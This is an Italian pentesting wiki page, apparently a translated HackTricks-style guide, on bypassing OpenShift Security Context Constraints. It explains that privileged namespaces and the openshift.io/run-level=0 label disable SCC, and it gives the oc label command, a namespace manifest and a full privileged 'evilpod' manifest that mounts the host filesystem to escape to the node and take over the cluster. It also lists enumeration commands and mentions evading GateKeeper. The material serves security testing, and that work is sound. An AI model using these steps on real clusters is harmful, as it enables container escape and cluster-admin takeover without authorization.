Openshift - SCC bypass

Reading time: 5 minutes

L'autore originale di questa pagina è Guillaume

Namespace privilegiati

Per impostazione predefinita, SCC non si applica ai seguenti progetti:

• default
• kube-system
• kube-public
• openshift-node
• openshift-infra
• openshift

Se distribuisci pod all'interno di uno di questi namespace, non verrà applicato alcun SCC, consentendo la distribuzione di pod privilegiati o il montaggio del file system host.

Etichetta del Namespace

Esiste un modo per disabilitare l'applicazione di SCC sul tuo pod secondo la documentazione di RedHat. Dovrai avere almeno uno dei seguenti permessi:

• Creare un Namespace e Creare un Pod in questo Namespace
• Modificare un Namespace e Creare un Pod in questo Namespace

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

L'etichetta specifica openshift.io/run-level consente agli utenti di eludere gli SCC per le applicazioni. Secondo la documentazione di RedHat, quando questa etichetta è utilizzata, nessun SCC è applicato a tutti i pod all'interno di quel namespace, rimuovendo di fatto qualsiasi restrizione.

Aggiungi Etichetta

Per aggiungere l'etichetta nel tuo namespace :

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Per creare un namespace con l'etichetta tramite un file YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Ora, tutti i nuovi pod creati nello spazio dei nomi non dovrebbero avere alcun SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

In assenza di SCC, non ci sono restrizioni sulla definizione del tuo pod. Questo significa che un pod malevolo può essere facilmente creato per evadere sul sistema host.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Ora è diventato più facile elevare i privilegi per accedere al sistema host e successivamente prendere il controllo dell'intero cluster, ottenendo privilegi 'cluster-admin'. Cerca la parte Node-Post Exploitation nella seguente pagina:

Attacking Kubernetes from inside a Pod

Etichette personalizzate

Inoltre, in base alla configurazione target, alcune etichette / annotazioni personalizzate possono essere utilizzate allo stesso modo dello scenario di attacco precedente. Anche se non è stato creato per, le etichette potrebbero essere utilizzate per concedere permessi, limitare o meno una risorsa specifica.

Cerca etichette personalizzate se puoi leggere alcune risorse. Ecco un elenco di risorse interessanti:

• Pod
• Deployment
• Namespace
• Service
• Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Elenca tutti i namespace privilegiati

$ oc get project -o yaml | grep 'run-level' -b5

Exploit avanzato

In OpenShift, come dimostrato in precedenza, avere il permesso di distribuire un pod in uno spazio dei nomi con l'etichetta openshift.io/run-level può portare a un takeover diretto del cluster. Dal punto di vista delle impostazioni del cluster, questa funzionalità non può essere disabilitata, poiché è intrinseca al design di OpenShift.

Tuttavia, misure di mitigazione come Open Policy Agent GateKeeper possono impedire agli utenti di impostare questa etichetta.

Per bypassare le regole di GateKeeper e impostare questa etichetta per eseguire un takeover del cluster, gli attaccanti dovrebbero identificare metodi alternativi.

Riferimenti

• https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html
• https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html
• https://github.com/open-policy-agent/gatekeeper